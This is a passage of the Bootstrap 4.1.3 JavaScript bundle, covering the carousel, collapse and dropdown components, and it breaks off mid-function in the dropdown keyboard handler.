{\n this._slide(Direction.PREV);\n }\n };\n\n _proto.pause = function pause(event) {\n if (!event) {\n this._isPaused = true;\n }\n\n if (this._element.querySelector(Selector.NEXT_PREV)) {\n Util.triggerTransitionEnd(this._element);\n this.cycle(true);\n }\n\n clearInterval(this._interval);\n this._interval = null;\n };\n\n _proto.cycle = function cycle(event) {\n if (!event) {\n this._isPaused = false;\n }\n\n if (this._interval) {\n clearInterval(this._interval);\n this._interval = null;\n }\n\n if (this._config.interval && !this._isPaused) {\n this._interval = setInterval((document.visibilityState ? this.nextWhenVisible : this.next).bind(this), this._config.interval);\n }\n };\n\n _proto.to = function to(index) {\n var _this = this;\n\n this._activeElement = this._element.querySelector(Selector.ACTIVE_ITEM);\n\n var activeIndex = this._getItemIndex(this._activeElement);\n\n if (index > this._items.length - 1 || index < 0) {\n return;\n }\n\n if (this._isSliding) {\n $$$1(this._element).one(Event.SLID, function () {\n return _this.to(index);\n });\n return;\n }\n\n if (activeIndex === index) {\n this.pause();\n this.cycle();\n return;\n }\n\n var direction = index > activeIndex ? Direction.NEXT : Direction.PREV;\n\n this._slide(direction, this._items[index]);\n };\n\n _proto.dispose = function dispose() {\n $$$1(this._element).off(EVENT_KEY);\n $$$1.removeData(this._element, DATA_KEY);\n this._items = null;\n this._config = null;\n this._element = null;\n this._interval = null;\n this._isPaused = null;\n this._isSliding = null;\n this._activeElement = null;\n this._indicatorsElement = null;\n }; // Private\n\n\n _proto._getConfig = function _getConfig(config) {\n config = _objectSpread({}, Default, config);\n Util.typeCheckConfig(NAME, config, DefaultType);\n return config;\n };\n\n _proto._addEventListeners = function _addEventListeners() {\n var _this2 = this;\n\n if (this._config.keyboard) {\n $$$1(this._element).on(Event.KEYDOWN, function (event) {\n return _this2._keydown(event);\n });\n }\n\n if (this._config.pause === 'hover') {\n $$$1(this._element).on(Event.MOUSEENTER, function (event) {\n return _this2.pause(event);\n }).on(Event.MOUSELEAVE, function (event) {\n return _this2.cycle(event);\n });\n\n if ('ontouchstart' in document.documentElement) {\n // If it's a touch-enabled device, mouseenter/leave are fired as\n // part of the mouse compatibility events on first tap - the carousel\n // would stop cycling until user tapped out of it;\n // here, we listen for touchend, explicitly pause the carousel\n // (as if it's the second time we tap on it, mouseenter compat event\n // is NOT fired) and after a timeout (to allow for mouse compatibility\n // events to fire) we explicitly restart cycling\n $$$1(this._element).on(Event.TOUCHEND, function () {\n _this2.pause();\n\n if (_this2.touchTimeout) {\n clearTimeout(_this2.touchTimeout);\n }\n\n _this2.touchTimeout = setTimeout(function (event) {\n return _this2.cycle(event);\n }, TOUCHEVENT_COMPAT_WAIT + _this2._config.interval);\n });\n }\n }\n };\n\n _proto._keydown = function _keydown(event) {\n if (/input|textarea/i.test(event.target.tagName)) {\n return;\n }\n\n switch (event.which) {\n case ARROW_LEFT_KEYCODE:\n event.preventDefault();\n this.prev();\n break;\n\n case ARROW_RIGHT_KEYCODE:\n event.preventDefault();\n this.next();\n break;\n\n default:\n }\n };\n\n _proto._getItemIndex = function _getItemIndex(element) {\n this._items = element && element.parentNode ? [].slice.call(element.parentNode.querySelectorAll(Selector.ITEM)) : [];\n return this._items.indexOf(element);\n };\n\n _proto._getItemByDirection = function _getItemByDirection(direction, activeElement) {\n var isNextDirection = direction === Direction.NEXT;\n var isPrevDirection = direction === Direction.PREV;\n\n var activeIndex = this._getItemIndex(activeElement);\n\n var lastItemIndex = this._items.length - 1;\n var isGoingToWrap = isPrevDirection && activeIndex === 0 || isNextDirection && activeIndex === lastItemIndex;\n\n if (isGoingToWrap && !this._config.wrap) {\n return activeElement;\n }\n\n var delta = direction === Direction.PREV ? -1 : 1;\n var itemIndex = (activeIndex + delta) % this._items.length;\n return itemIndex === -1 ? this._items[this._items.length - 1] : this._items[itemIndex];\n };\n\n _proto._triggerSlideEvent = function _triggerSlideEvent(relatedTarget, eventDirectionName) {\n var targetIndex = this._getItemIndex(relatedTarget);\n\n var fromIndex = this._getItemIndex(this._element.querySelector(Selector.ACTIVE_ITEM));\n\n var slideEvent = $$$1.Event(Event.SLIDE, {\n relatedTarget: relatedTarget,\n direction: eventDirectionName,\n from: fromIndex,\n to: targetIndex\n });\n $$$1(this._element).trigger(slideEvent);\n return slideEvent;\n };\n\n _proto._setActiveIndicatorElement = function _setActiveIndicatorElement(element) {\n if (this._indicatorsElement) {\n var indicators = [].slice.call(this._indicatorsElement.querySelectorAll(Selector.ACTIVE));\n $$$1(indicators).removeClass(ClassName.ACTIVE);\n\n var nextIndicator = this._indicatorsElement.children[this._getItemIndex(element)];\n\n if (nextIndicator) {\n $$$1(nextIndicator).addClass(ClassName.ACTIVE);\n }\n }\n };\n\n _proto._slide = function _slide(direction, element) {\n var _this3 = this;\n\n var activeElement = this._element.querySelector(Selector.ACTIVE_ITEM);\n\n var activeElementIndex = this._getItemIndex(activeElement);\n\n var nextElement = element || activeElement && this._getItemByDirection(direction, activeElement);\n\n var nextElementIndex = this._getItemIndex(nextElement);\n\n var isCycling = Boolean(this._interval);\n var directionalClassName;\n var orderClassName;\n var eventDirectionName;\n\n if (direction === Direction.NEXT) {\n directionalClassName = ClassName.LEFT;\n orderClassName = ClassName.NEXT;\n eventDirectionName = Direction.LEFT;\n } else {\n directionalClassName = ClassName.RIGHT;\n orderClassName = ClassName.PREV;\n eventDirectionName = Direction.RIGHT;\n }\n\n if (nextElement && $$$1(nextElement).hasClass(ClassName.ACTIVE)) {\n this._isSliding = false;\n return;\n }\n\n var slideEvent = this._triggerSlideEvent(nextElement, eventDirectionName);\n\n if (slideEvent.isDefaultPrevented()) {\n return;\n }\n\n if (!activeElement || !nextElement) {\n // Some weirdness is happening, so we bail\n return;\n }\n\n this._isSliding = true;\n\n if (isCycling) {\n this.pause();\n }\n\n this._setActiveIndicatorElement(nextElement);\n\n var slidEvent = $$$1.Event(Event.SLID, {\n relatedTarget: nextElement,\n direction: eventDirectionName,\n from: activeElementIndex,\n to: nextElementIndex\n });\n\n if ($$$1(this._element).hasClass(ClassName.SLIDE)) {\n $$$1(nextElement).addClass(orderClassName);\n Util.reflow(nextElement);\n $$$1(activeElement).addClass(directionalClassName);\n $$$1(nextElement).addClass(directionalClassName);\n var transitionDuration = Util.getTransitionDurationFromElement(activeElement);\n $$$1(activeElement).one(Util.TRANSITION_END, function () {\n $$$1(nextElement).removeClass(directionalClassName + \" \" + orderClassName).addClass(ClassName.ACTIVE);\n $$$1(activeElement).removeClass(ClassName.ACTIVE + \" \" + orderClassName + \" \" + directionalClassName);\n _this3._isSliding = false;\n setTimeout(function () {\n return $$$1(_this3._element).trigger(slidEvent);\n }, 0);\n }).emulateTransitionEnd(transitionDuration);\n } else {\n $$$1(activeElement).removeClass(ClassName.ACTIVE);\n $$$1(nextElement).addClass(ClassName.ACTIVE);\n this._isSliding = false;\n $$$1(this._element).trigger(slidEvent);\n }\n\n if (isCycling) {\n this.cycle();\n }\n }; // Static\n\n\n Carousel._jQueryInterface = function _jQueryInterface(config) {\n return this.each(function () {\n var data = $$$1(this).data(DATA_KEY);\n\n var _config = _objectSpread({}, Default, $$$1(this).data());\n\n if (typeof config === 'object') {\n _config = _objectSpread({}, _config, config);\n }\n\n var action = typeof config === 'string' ? config : _config.slide;\n\n if (!data) {\n data = new Carousel(this, _config);\n $$$1(this).data(DATA_KEY, data);\n }\n\n if (typeof config === 'number') {\n data.to(config);\n } else if (typeof action === 'string') {\n if (typeof data[action] === 'undefined') {\n throw new TypeError(\"No method named \\\"\" + action + \"\\\"\");\n }\n\n data[action]();\n } else if (_config.interval) {\n data.pause();\n data.cycle();\n }\n });\n };\n\n Carousel._dataApiClickHandler = function _dataApiClickHandler(event) {\n var selector = Util.getSelectorFromElement(this);\n\n if (!selector) {\n return;\n }\n\n var target = $$$1(selector)[0];\n\n if (!target || !$$$1(target).hasClass(ClassName.CAROUSEL)) {\n return;\n }\n\n var config = _objectSpread({}, $$$1(target).data(), $$$1(this).data());\n\n var slideIndex = this.getAttribute('data-slide-to');\n\n if (slideIndex) {\n config.interval = false;\n }\n\n Carousel._jQueryInterface.call($$$1(target), config);\n\n if (slideIndex) {\n $$$1(target).data(DATA_KEY).to(slideIndex);\n }\n\n event.preventDefault();\n };\n\n _createClass(Carousel, null, [{\n key: \"VERSION\",\n get: function get() {\n return VERSION;\n }\n }, {\n key: \"Default\",\n get: function get() {\n return Default;\n }\n }]);\n\n return Carousel;\n }();\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n\n $$$1(document).on(Event.CLICK_DATA_API, Selector.DATA_SLIDE, Carousel._dataApiClickHandler);\n $$$1(window).on(Event.LOAD_DATA_API, function () {\n var carousels = [].slice.call(document.querySelectorAll(Selector.DATA_RIDE));\n\n for (var i = 0, len = carousels.length; i < len; i++) {\n var $carousel = $$$1(carousels[i]);\n\n Carousel._jQueryInterface.call($carousel, $carousel.data());\n }\n });\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $$$1.fn[NAME] = Carousel._jQueryInterface;\n $$$1.fn[NAME].Constructor = Carousel;\n\n $$$1.fn[NAME].noConflict = function () {\n $$$1.fn[NAME] = JQUERY_NO_CONFLICT;\n return Carousel._jQueryInterface;\n };\n\n return Carousel;\n }($);\n\n /**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.3): collapse.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\n var Collapse = function ($$$1) {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n var NAME = 'collapse';\n var VERSION = '4.1.3';\n var DATA_KEY = 'bs.collapse';\n var EVENT_KEY = \".\" + DATA_KEY;\n var DATA_API_KEY = '.data-api';\n var JQUERY_NO_CONFLICT = $$$1.fn[NAME];\n var Default = {\n toggle: true,\n parent: ''\n };\n var DefaultType = {\n toggle: 'boolean',\n parent: '(string|element)'\n };\n var Event = {\n SHOW: \"show\" + EVENT_KEY,\n SHOWN: \"shown\" + EVENT_KEY,\n HIDE: \"hide\" + EVENT_KEY,\n HIDDEN: \"hidden\" + EVENT_KEY,\n CLICK_DATA_API: \"click\" + EVENT_KEY + DATA_API_KEY\n };\n var ClassName = {\n SHOW: 'show',\n COLLAPSE: 'collapse',\n COLLAPSING: 'collapsing',\n COLLAPSED: 'collapsed'\n };\n var Dimension = {\n WIDTH: 'width',\n HEIGHT: 'height'\n };\n var Selector = {\n ACTIVES: '.show, .collapsing',\n DATA_TOGGLE: '[data-toggle=\"collapse\"]'\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n };\n\n var Collapse =\n /*#__PURE__*/\n function () {\n function Collapse(element, config) {\n this._isTransitioning = false;\n this._element = element;\n this._config = this._getConfig(config);\n this._triggerArray = $$$1.makeArray(document.querySelectorAll(\"[data-toggle=\\\"collapse\\\"][href=\\\"#\" + element.id + \"\\\"],\" + (\"[data-toggle=\\\"collapse\\\"][data-target=\\\"#\" + element.id + \"\\\"]\")));\n var toggleList = [].slice.call(document.querySelectorAll(Selector.DATA_TOGGLE));\n\n for (var i = 0, len = toggleList.length; i < len; i++) {\n var elem = toggleList[i];\n var selector = Util.getSelectorFromElement(elem);\n var filterElement = [].slice.call(document.querySelectorAll(selector)).filter(function (foundElem) {\n return foundElem === element;\n });\n\n if (selector !== null && filterElement.length > 0) {\n this._selector = selector;\n\n this._triggerArray.push(elem);\n }\n }\n\n this._parent = this._config.parent ? this._getParent() : null;\n\n if (!this._config.parent) {\n this._addAriaAndCollapsedClass(this._element, this._triggerArray);\n }\n\n if (this._config.toggle) {\n this.toggle();\n }\n } // Getters\n\n\n var _proto = Collapse.prototype;\n\n // Public\n _proto.toggle = function toggle() {\n if ($$$1(this._element).hasClass(ClassName.SHOW)) {\n this.hide();\n } else {\n this.show();\n }\n };\n\n _proto.show = function show() {\n var _this = this;\n\n if (this._isTransitioning || $$$1(this._element).hasClass(ClassName.SHOW)) {\n return;\n }\n\n var actives;\n var activesData;\n\n if (this._parent) {\n actives = [].slice.call(this._parent.querySelectorAll(Selector.ACTIVES)).filter(function (elem) {\n return elem.getAttribute('data-parent') === _this._config.parent;\n });\n\n if (actives.length === 0) {\n actives = null;\n }\n }\n\n if (actives) {\n activesData = $$$1(actives).not(this._selector).data(DATA_KEY);\n\n if (activesData && activesData._isTransitioning) {\n return;\n }\n }\n\n var startEvent = $$$1.Event(Event.SHOW);\n $$$1(this._element).trigger(startEvent);\n\n if (startEvent.isDefaultPrevented()) {\n return;\n }\n\n if (actives) {\n Collapse._jQueryInterface.call($$$1(actives).not(this._selector), 'hide');\n\n if (!activesData) {\n $$$1(actives).data(DATA_KEY, null);\n }\n }\n\n var dimension = this._getDimension();\n\n $$$1(this._element).removeClass(ClassName.COLLAPSE).addClass(ClassName.COLLAPSING);\n this._element.style[dimension] = 0;\n\n if (this._triggerArray.length) {\n $$$1(this._triggerArray).removeClass(ClassName.COLLAPSED).attr('aria-expanded', true);\n }\n\n this.setTransitioning(true);\n\n var complete = function complete() {\n $$$1(_this._element).removeClass(ClassName.COLLAPSING).addClass(ClassName.COLLAPSE).addClass(ClassName.SHOW);\n _this._element.style[dimension] = '';\n\n _this.setTransitioning(false);\n\n $$$1(_this._element).trigger(Event.SHOWN);\n };\n\n var capitalizedDimension = dimension[0].toUpperCase() + dimension.slice(1);\n var scrollSize = \"scroll\" + capitalizedDimension;\n var transitionDuration = Util.getTransitionDurationFromElement(this._element);\n $$$1(this._element).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration);\n this._element.style[dimension] = this._element[scrollSize] + \"px\";\n };\n\n _proto.hide = function hide() {\n var _this2 = this;\n\n if (this._isTransitioning || !$$$1(this._element).hasClass(ClassName.SHOW)) {\n return;\n }\n\n var startEvent = $$$1.Event(Event.HIDE);\n $$$1(this._element).trigger(startEvent);\n\n if (startEvent.isDefaultPrevented()) {\n return;\n }\n\n var dimension = this._getDimension();\n\n this._element.style[dimension] = this._element.getBoundingClientRect()[dimension] + \"px\";\n Util.reflow(this._element);\n $$$1(this._element).addClass(ClassName.COLLAPSING).removeClass(ClassName.COLLAPSE).removeClass(ClassName.SHOW);\n var triggerArrayLength = this._triggerArray.length;\n\n if (triggerArrayLength > 0) {\n for (var i = 0; i < triggerArrayLength; i++) {\n var trigger = this._triggerArray[i];\n var selector = Util.getSelectorFromElement(trigger);\n\n if (selector !== null) {\n var $elem = $$$1([].slice.call(document.querySelectorAll(selector)));\n\n if (!$elem.hasClass(ClassName.SHOW)) {\n $$$1(trigger).addClass(ClassName.COLLAPSED).attr('aria-expanded', false);\n }\n }\n }\n }\n\n this.setTransitioning(true);\n\n var complete = function complete() {\n _this2.setTransitioning(false);\n\n $$$1(_this2._element).removeClass(ClassName.COLLAPSING).addClass(ClassName.COLLAPSE).trigger(Event.HIDDEN);\n };\n\n this._element.style[dimension] = '';\n var transitionDuration = Util.getTransitionDurationFromElement(this._element);\n $$$1(this._element).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration);\n };\n\n _proto.setTransitioning = function setTransitioning(isTransitioning) {\n this._isTransitioning = isTransitioning;\n };\n\n _proto.dispose = function dispose() {\n $$$1.removeData(this._element, DATA_KEY);\n this._config = null;\n this._parent = null;\n this._element = null;\n this._triggerArray = null;\n this._isTransitioning = null;\n }; // Private\n\n\n _proto._getConfig = function _getConfig(config) {\n config = _objectSpread({}, Default, config);\n config.toggle = Boolean(config.toggle); // Coerce string values\n\n Util.typeCheckConfig(NAME, config, DefaultType);\n return config;\n };\n\n _proto._getDimension = function _getDimension() {\n var hasWidth = $$$1(this._element).hasClass(Dimension.WIDTH);\n return hasWidth ? Dimension.WIDTH : Dimension.HEIGHT;\n };\n\n _proto._getParent = function _getParent() {\n var _this3 = this;\n\n var parent = null;\n\n if (Util.isElement(this._config.parent)) {\n parent = this._config.parent; // It's a jQuery object\n\n if (typeof this._config.parent.jquery !== 'undefined') {\n parent = this._config.parent[0];\n }\n } else {\n parent = document.querySelector(this._config.parent);\n }\n\n var selector = \"[data-toggle=\\\"collapse\\\"][data-parent=\\\"\" + this._config.parent + \"\\\"]\";\n var children = [].slice.call(parent.querySelectorAll(selector));\n $$$1(children).each(function (i, element) {\n _this3._addAriaAndCollapsedClass(Collapse._getTargetFromElement(element), [element]);\n });\n return parent;\n };\n\n _proto._addAriaAndCollapsedClass = function _addAriaAndCollapsedClass(element, triggerArray) {\n if (element) {\n var isOpen = $$$1(element).hasClass(ClassName.SHOW);\n\n if (triggerArray.length) {\n $$$1(triggerArray).toggleClass(ClassName.COLLAPSED, !isOpen).attr('aria-expanded', isOpen);\n }\n }\n }; // Static\n\n\n Collapse._getTargetFromElement = function _getTargetFromElement(element) {\n var selector = Util.getSelectorFromElement(element);\n return selector ? document.querySelector(selector) : null;\n };\n\n Collapse._jQueryInterface = function _jQueryInterface(config) {\n return this.each(function () {\n var $this = $$$1(this);\n var data = $this.data(DATA_KEY);\n\n var _config = _objectSpread({}, Default, $this.data(), typeof config === 'object' && config ? config : {});\n\n if (!data && _config.toggle && /show|hide/.test(config)) {\n _config.toggle = false;\n }\n\n if (!data) {\n data = new Collapse(this, _config);\n $this.data(DATA_KEY, data);\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(\"No method named \\\"\" + config + \"\\\"\");\n }\n\n data[config]();\n }\n });\n };\n\n _createClass(Collapse, null, [{\n key: \"VERSION\",\n get: function get() {\n return VERSION;\n }\n }, {\n key: \"Default\",\n get: function get() {\n return Default;\n }\n }]);\n\n return Collapse;\n }();\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n\n $$$1(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n // preventDefault only for <a> elements (which change the URL) not inside the collapsible element\n if (event.currentTarget.tagName === 'A') {\n event.preventDefault();\n }\n\n var $trigger = $$$1(this);\n var selector = Util.getSelectorFromElement(this);\n var selectors = [].slice.call(document.querySelectorAll(selector));\n $$$1(selectors).each(function () {\n var $target = $$$1(this);\n var data = $target.data(DATA_KEY);\n var config = data ? 'toggle' : $trigger.data();\n\n Collapse._jQueryInterface.call($target, config);\n });\n });\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $$$1.fn[NAME] = Collapse._jQueryInterface;\n $$$1.fn[NAME].Constructor = Collapse;\n\n $$$1.fn[NAME].noConflict = function () {\n $$$1.fn[NAME] = JQUERY_NO_CONFLICT;\n return Collapse._jQueryInterface;\n };\n\n return Collapse;\n }($);\n\n /**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.3): dropdown.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\n var Dropdown = function ($$$1) {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n var NAME = 'dropdown';\n var VERSION = '4.1.3';\n var DATA_KEY = 'bs.dropdown';\n var EVENT_KEY = \".\" + DATA_KEY;\n var DATA_API_KEY = '.data-api';\n var JQUERY_NO_CONFLICT = $$$1.fn[NAME];\n var ESCAPE_KEYCODE = 27; // KeyboardEvent.which value for Escape (Esc) key\n\n var SPACE_KEYCODE = 32; // KeyboardEvent.which value for space key\n\n var TAB_KEYCODE = 9; // KeyboardEvent.which value for tab key\n\n var ARROW_UP_KEYCODE = 38; // KeyboardEvent.which value for up arrow key\n\n var ARROW_DOWN_KEYCODE = 40; // KeyboardEvent.which value for down arrow key\n\n var RIGHT_MOUSE_BUTTON_WHICH = 3; // MouseEvent.which value for the right button (assuming a right-handed mouse)\n\n var REGEXP_KEYDOWN = new RegExp(ARROW_UP_KEYCODE + \"|\" + ARROW_DOWN_KEYCODE + \"|\" + ESCAPE_KEYCODE);\n var Event = {\n HIDE: \"hide\" + EVENT_KEY,\n HIDDEN: \"hidden\" + EVENT_KEY,\n SHOW: \"show\" + EVENT_KEY,\n SHOWN: \"shown\" + EVENT_KEY,\n CLICK: \"click\" + EVENT_KEY,\n CLICK_DATA_API: \"click\" + EVENT_KEY + DATA_API_KEY,\n KEYDOWN_DATA_API: \"keydown\" + EVENT_KEY + DATA_API_KEY,\n KEYUP_DATA_API: \"keyup\" + EVENT_KEY + DATA_API_KEY\n };\n var ClassName = {\n DISABLED: 'disabled',\n SHOW: 'show',\n DROPUP: 'dropup',\n DROPRIGHT: 'dropright',\n DROPLEFT: 'dropleft',\n MENURIGHT: 'dropdown-menu-right',\n MENULEFT: 'dropdown-menu-left',\n POSITION_STATIC: 'position-static'\n };\n var Selector = {\n DATA_TOGGLE: '[data-toggle=\"dropdown\"]',\n FORM_CHILD: '.dropdown form',\n MENU: '.dropdown-menu',\n NAVBAR_NAV: '.navbar-nav',\n VISIBLE_ITEMS: '.dropdown-menu .dropdown-item:not(.disabled):not(:disabled)'\n };\n var AttachmentMap = {\n TOP: 'top-start',\n TOPEND: 'top-end',\n BOTTOM: 'bottom-start',\n BOTTOMEND: 'bottom-end',\n RIGHT: 'right-start',\n RIGHTEND: 'right-end',\n LEFT: 'left-start',\n LEFTEND: 'left-end'\n };\n var Default = {\n offset: 0,\n flip: true,\n boundary: 'scrollParent',\n reference: 'toggle',\n display: 'dynamic'\n };\n var DefaultType = {\n offset: '(number|string|function)',\n flip: 'boolean',\n boundary: '(string|element)',\n reference: '(string|element)',\n display: 'string'\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n };\n\n var Dropdown =\n /*#__PURE__*/\n function () {\n function Dropdown(element, config) {\n this._element = element;\n this._popper = null;\n this._config = this._getConfig(config);\n this._menu = this._getMenuElement();\n this._inNavbar = this._detectNavbar();\n\n this._addEventListeners();\n } // Getters\n\n\n var _proto = Dropdown.prototype;\n\n // Public\n _proto.toggle = function toggle() {\n if (this._element.disabled || $$$1(this._element).hasClass(ClassName.DISABLED)) {\n return;\n }\n\n var parent = Dropdown._getParentFromElement(this._element);\n\n var isActive = $$$1(this._menu).hasClass(ClassName.SHOW);\n\n Dropdown._clearMenus();\n\n if (isActive) {\n return;\n }\n\n var relatedTarget = {\n relatedTarget: this._element\n };\n var showEvent = $$$1.Event(Event.SHOW, relatedTarget);\n $$$1(parent).trigger(showEvent);\n\n if (showEvent.isDefaultPrevented()) {\n return;\n } // Disable totally Popper.js for Dropdown in Navbar\n\n\n if (!this._inNavbar) {\n /**\n * Check for Popper dependency\n * Popper - https://popper.js.org\n */\n if (typeof Popper === 'undefined') {\n throw new TypeError('Bootstrap dropdown require Popper.js (https://popper.js.org)');\n }\n\n var referenceElement = this._element;\n\n if (this._config.reference === 'parent') {\n referenceElement = parent;\n } else if (Util.isElement(this._config.reference)) {\n referenceElement = this._config.reference; // Check if it's jQuery element\n\n if (typeof this._config.reference.jquery !== 'undefined') {\n referenceElement = this._config.reference[0];\n }\n } // If boundary is not `scrollParent`, then set position to `static`\n // to allow the menu to \"escape\" the scroll parent's boundaries\n // https://github.com/twbs/bootstrap/issues/24251\n\n\n if (this._config.boundary !== 'scrollParent') {\n $$$1(parent).addClass(ClassName.POSITION_STATIC);\n }\n\n this._popper = new Popper(referenceElement, this._menu, this._getPopperConfig());\n } // If this is a touch-enabled device we add extra\n // empty mouseover listeners to the body's immediate children;\n // only needed because of broken event delegation on iOS\n // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html\n\n\n if ('ontouchstart' in document.documentElement && $$$1(parent).closest(Selector.NAVBAR_NAV).length === 0) {\n $$$1(document.body).children().on('mouseover', null, $$$1.noop);\n }\n\n this._element.focus();\n\n this._element.setAttribute('aria-expanded', true);\n\n $$$1(this._menu).toggleClass(ClassName.SHOW);\n $$$1(parent).toggleClass(ClassName.SHOW).trigger($$$1.Event(Event.SHOWN, relatedTarget));\n };\n\n _proto.dispose = function dispose() {\n $$$1.removeData(this._element, DATA_KEY);\n $$$1(this._element).off(EVENT_KEY);\n this._element = null;\n this._menu = null;\n\n if (this._popper !== null) {\n this._popper.destroy();\n\n this._popper = null;\n }\n };\n\n _proto.update = function update() {\n this._inNavbar = this._detectNavbar();\n\n if (this._popper !== null) {\n this._popper.scheduleUpdate();\n }\n }; // Private\n\n\n _proto._addEventListeners = function _addEventListeners() {\n var _this = this;\n\n $$$1(this._element).on(Event.CLICK, function (event) {\n event.preventDefault();\n event.stopPropagation();\n\n _this.toggle();\n });\n };\n\n _proto._getConfig = function _getConfig(config) {\n config = _objectSpread({}, this.constructor.Default, $$$1(this._element).data(), config);\n Util.typeCheckConfig(NAME, config, this.constructor.DefaultType);\n return config;\n };\n\n _proto._getMenuElement = function _getMenuElement() {\n if (!this._menu) {\n var parent = Dropdown._getParentFromElement(this._element);\n\n if (parent) {\n this._menu = parent.querySelector(Selector.MENU);\n }\n }\n\n return this._menu;\n };\n\n _proto._getPlacement = function _getPlacement() {\n var $parentDropdown = $$$1(this._element.parentNode);\n var placement = AttachmentMap.BOTTOM; // Handle dropup\n\n if ($parentDropdown.hasClass(ClassName.DROPUP)) {\n placement = AttachmentMap.TOP;\n\n if ($$$1(this._menu).hasClass(ClassName.MENURIGHT)) {\n placement = AttachmentMap.TOPEND;\n }\n } else if ($parentDropdown.hasClass(ClassName.DROPRIGHT)) {\n placement = AttachmentMap.RIGHT;\n } else if ($parentDropdown.hasClass(ClassName.DROPLEFT)) {\n placement = AttachmentMap.LEFT;\n } else if ($$$1(this._menu).hasClass(ClassName.MENURIGHT)) {\n placement = AttachmentMap.BOTTOMEND;\n }\n\n return placement;\n };\n\n _proto._detectNavbar = function _detectNavbar() {\n return $$$1(this._element).closest('.navbar').length > 0;\n };\n\n _proto._getPopperConfig = function _getPopperConfig() {\n var _this2 = this;\n\n var offsetConf = {};\n\n if (typeof this._config.offset === 'function') {\n offsetConf.fn = function (data) {\n data.offsets = _objectSpread({}, data.offsets, _this2._config.offset(data.offsets) || {});\n return data;\n };\n } else {\n offsetConf.offset = this._config.offset;\n }\n\n var popperConfig = {\n placement: this._getPlacement(),\n modifiers: {\n offset: offsetConf,\n flip: {\n enabled: this._config.flip\n },\n preventOverflow: {\n boundariesElement: this._config.boundary\n }\n } // Disable Popper.js if we have a static display\n\n };\n\n if (this._config.display === 'static') {\n popperConfig.modifiers.applyStyle = {\n enabled: false\n };\n }\n\n return popperConfig;\n }; // Static\n\n\n Dropdown._jQueryInterface = function _jQueryInterface(config) {\n return this.each(function () {\n var data = $$$1(this).data(DATA_KEY);\n\n var _config = typeof config === 'object' ? config : null;\n\n if (!data) {\n data = new Dropdown(this, _config);\n $$$1(this).data(DATA_KEY, data);\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(\"No method named \\\"\" + config + \"\\\"\");\n }\n\n data[config]();\n }\n });\n };\n\n Dropdown._clearMenus = function _clearMenus(event) {\n if (event && (event.which === RIGHT_MOUSE_BUTTON_WHICH || event.type === 'keyup' && event.which !== TAB_KEYCODE)) {\n return;\n }\n\n var toggles = [].slice.call(document.querySelectorAll(Selector.DATA_TOGGLE));\n\n for (var i = 0, len = toggles.length; i < len; i++) {\n var parent = Dropdown._getParentFromElement(toggles[i]);\n\n var context = $$$1(toggles[i]).data(DATA_KEY);\n var relatedTarget = {\n relatedTarget: toggles[i]\n };\n\n if (event && event.type === 'click') {\n relatedTarget.clickEvent = event;\n }\n\n if (!context) {\n continue;\n }\n\n var dropdownMenu = context._menu;\n\n if (!$$$1(parent).hasClass(ClassName.SHOW)) {\n continue;\n }\n\n if (event && (event.type === 'click' && /input|textarea/i.test(event.target.tagName) || event.type === 'keyup' && event.which === TAB_KEYCODE) && $$$1.contains(parent, event.target)) {\n continue;\n }\n\n var hideEvent = $$$1.Event(Event.HIDE, relatedTarget);\n $$$1(parent).trigger(hideEvent);\n\n if (hideEvent.isDefaultPrevented()) {\n continue;\n } // If this is a touch-enabled device we remove the extra\n // empty mouseover listeners we added for iOS support\n\n\n if ('ontouchstart' in document.documentElement) {\n $$$1(document.body).children().off('mouseover', null, $$$1.noop);\n }\n\n toggles[i].setAttribute('aria-expanded', 'false');\n $$$1(dropdownMenu).removeClass(ClassName.SHOW);\n $$$1(parent).removeClass(ClassName.SHOW).trigger($$$1.Event(Event.HIDDEN, relatedTarget));\n }\n };\n\n Dropdown._getParentFromElement = function _getParentFromElement(element) {\n var parent;\n var selector = Util.getSelectorFromElement(element);\n\n if (selector) {\n parent = document.querySelector(selector);\n }\n\n return parent || element.parentNode;\n }; // eslint-disable-next-line complexity\n\n\n Dropdown._dataApiKeydownHandler = function _dataApiKeydownHandler(event) {\n // If not input/textarea:\n // - And not a key in REGEXP_KEYDOWN => not a dropdown command\n // If input/textarea:\n // - If space key => not a dropdown command\n // - If key is other than escape\n // - If key is not up or down => not a dropdown command\n // - If trigger inside the menu => not a dropdown command\n if (/input|textarea/i.test(event.target.tagName) ? event.which === SPACE_KEYCODE || event.which !== ESCAPE_KEYCODE && (event.which !== ARROW_DOWN_KEYCODE && event.which !== ARROW_UP_KEYCODE || $$$1(event.target).closest(Selector.MENU).length) : !REGEXP_KEYDOWN.test(event.which)) {\n return;\n }\n\n event.preventDefault();\n event.stopPropagation();\n\n if (this.disabled || $$$1(this).hasClass(ClassName.DISABLED)) {\n return;\n }\n\n var parent = Dropdown._getParentFromElement(this);\n\n var isActive = $$$1(parent).hasClass(ClassName.SHOW);\n\n if (!isActive && (event.which !== ESCAPE_KEYCODE || event.which !== SPACE_KEYCODE) || isActive && (event.which === ESCAPE_KEYCODE || event.which === SPACE_KEYCODE)) {\n if (event.which === ESCAPE_KEYCODE) 